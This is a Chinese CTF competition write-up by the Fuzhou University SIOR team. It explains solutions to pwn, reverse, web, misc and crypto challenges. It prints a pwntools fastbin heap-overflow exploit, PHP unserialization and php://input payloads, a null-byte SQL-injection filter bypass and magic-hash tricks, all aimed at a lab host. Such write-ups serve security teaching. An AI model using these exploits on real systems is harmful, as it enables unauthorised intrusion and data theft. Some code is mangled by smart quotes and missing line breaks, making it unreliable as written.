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“黑盾杯”福州大学SIOR战队荣获特等奖 重点题解题思路简析

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PWN

magicheap

程序给了一个cat flag

触发条件隐藏的4869功能，当magic>0x1305时触发读flag

接下来就是想办法让magic>0x1305

漏洞点在edit函数中，编辑内容时候，size我们可以任意，但是堆块的大小在creat的时候就已经固定，这里的size能产生堆溢出

利用magic上面的stdin，是个0x7fXXXXXXXX的地址，把0x6020ad当成伪造堆块

利用fsatbin的fd修改来实现将0x70大小的堆块分配到在这里

如果题目没有给这么个magic，没有给libc，要去shell就没这么容易了

from pwn import *
context.log_level = ‘debug’#p = process(‘./magicheap’)p = remote(‘192.168.200.200’,40001)def new(size,content):
p.recvuntil(‘Your choice :’)
p.sendline(‘1’)
p.recvuntil(‘Heap : ‘)
p.sendline(str(size))
p.recvuntil(‘heap:’)
p.sendline(content)
def edit(idx,size,content):
p.recvuntil(‘Your choice :’)
p.sendline(‘2’)
p.recvuntil(‘Index :’)
p.sendline(str(idx))
p.recvuntil(‘Heap : ‘)
p.sendline(str(size))
p.recvuntil(‘heap : ‘)
p.sendline(content)def free(idx):
p.recvuntil(‘Your choice :’)
p.sendline(‘3’)
p.recvuntil(‘Index :’)
p.sendline(str(idx))

new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)
free(1)
free(2)
edit(0,0x200,’a’0x60 + p64(0) + p64(0x71) + ‘a’0x60 + p64(0) + p64(0x71) + p64(0x6020ad))
new(0x60,’a’0x5f)
new(0x60,’a’0x5f)#gdb.attach(p)p.interactive()

win逆向

简单的读取，比较

大概就是，你的输入input，程序内置byte_415768,内置一个数组v9

前17有input[i] = byte_415768[v9[i]],再后面几位是 1024} 就可以了

这个提取随便写下，但是当时没注意这个17，v9数组有22全提了再加 1024}，后来队友提醒。

 

WEB

theuserisadmin

源代码

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php}else{ echo "you are not admin ! ";
}
-->

通过php伪协议读文件

index.php

<?php$user = $_GET[“user”];
$file = $_GET[“file”];
$pass = $_GET[“pass”];if(isset($user)&&(file_get_contents($user,’r’)===”the user is admin”)){ echo “hello admin!<br>“; if(preg_match(“/f1a9/“,$file)){ exit();
}else{ include($file); //class.php
$pass = unserialize($pass); echo $pass;
}
}else{ echo “you are not admin ! “;
}?><!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php}else{ echo "you are not admin ! ";
}
-->
class.php

<?phpclass Read{//f1a9.php
public $file; public function toString(){ if(isset($this->file)){ echo file_get_contents($this->file);
} return “toString was called!”;
}
}?>

最后payload

POST 
/web/theuserisadmin/?user=php://input&file=class.php&pass=O%3A4%3A%22Read%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22f1a9.php%22%3B%7D 
HTTP/1.1
Host: 192.168.200.200
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
the user is admin

waf

扫描一波文件 www.zip ok, 代码审计

function.php

function filtering($str) {
$check= eregi(‘select|insert|update|delete|’|/*|*|../|./|union|into|load_file|outfile’, $str); if($check)
{ echo “非法字符!”; exit();
}
…..
}

eregi 使用 %00过掉

content.php 里面直接拼接给的参数

<?phpinclude ‘./global.php’;
extract($_REQUEST);

$sql = “select * from test.content where id=$message_id”;
payload

POST /web/waf/content.php 
HTTP/1.1
Host: 192.168.200.200
Connection: close
Content-Type: multipart/form-data; boundary=————2049511993
Content-Length: 138—————2049511993
Content-Disposition: form-data; name=”message_id””%00” union select 1,2,flag,4 from flag—————2049511993—

codeaudit

.svn 泄露

<?phperror_reporting(0);

$user = $_COOKIE[‘user’];
$code = $_GET[‘code’]?(int)$_GET[‘code’]:’’;if($user == ‘admin’ && !empty($code)) {

$hex = (int)$code;    
if(($hex ^ 6789) === 0xCDEF) {        require("flag.php");        echo $flag;        exit();
}
}echo “ȱ��Ӧ�еIJ���,��û��Ȩ�޲鿴������”;?>

很简单

payload

GET /web/codeaudit/?code=55146 
HTTP/1.1
Host: 192.168.200.200
Cookie: user=admin
Connection: close

base lanauage

直接给源码

<?php showsource(_FILE);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET[‘x1’]))
{
$x1 = $_GET[‘x1’];
$x1==”1”?die(“ha?”):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET[‘x2’]);
if(is_array($x2)){
is_numeric(@$x2[“x21”])?die(“ha?”):NULL;
if(@$x2[“x21”]){
($x2[“x21”]>2017)?$b=1:NULL;
}
if(is_array(@$x2[“x22”])){
if(count($x2[“x22”])!==2 OR !is_array($x2[“x22”][0])) die(“ha?”);
$p = array_search(“XIPU”, $x2[“x22”]);
$p===false?die(“ha?”):NULL;
foreach($x2[“x22”] as $key=>$val){
$val===”XIPU”?die(“ha?”):NULL;
}
$c=1;
}
}
$x3 = $_GET[‘x3’];
if ($x3 != ‘15562’) {
if (strstr($x3, ‘XIPU’)) {
if (substr(md5($x3),8,16) == substr(md5(‘15562’),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include “flag.php”;
echo $flag;
}
?>

php 弱类型 和 array_search 比较的问题

下面的md5

$ php -R “echo substr(md5(‘15562’),8,16);”0e46379442318098

是0e[0-9] 在php中数字比较会变成0

所以找到另一个也是这样的格式的md5串就好了

import hashlibimport re
i = 0reg = re.compile(‘.{8}0e[0-9]{14}.{8}’)while True:
s = ‘XIPU’ + str(i)
md5 = hashlib.md5()
md5.update(s.encode(‘ascii’)) if reg.match(md5.hexdigest()):
print(md5.hexdigest(), s) break
i = i + 1

payload

GET /web/bestlanguage/?x1=true&x2={“x21”:”2018a”,”x22”:[[],true]}&x3=XIPU18570 
HTTP/1.1
Host: 192.168.200.200
Connection: close

 

MISC

reverseMe

打开文件发现有

swodniW( 6SC pohsotohP ebodA

with open(‘reverseMe.txt’) as f:
data = f.read() with open(‘output.png’, ‘wb’) as f:
f.write(data[::-1])

得到这个图片

流量审计

关键词 theflag 二分法爆破

耐心一条一条分析就ok

52c6f1d6

 

crypto

brightstar

snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees

key： howarey

Columnar Transposition Cipher

提示 Columnar Transposition Cipher

key 和 ctf-wiki 里面的例子一样.直接手动解析

Itisofteninthedarkestskipsthatweseebrighteststars

这是啥呀

打开 解base32

import base64>>> 
base64.b32decode(‘MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2===’)b’flag{c8b558b954019856f0b02345dc39558c}’
>>>

注：解题报告由获得特等奖的福州大学SIOR战队（指导老师：何萧玲）提供

更多赛题解析，请关注我们后续报道~~~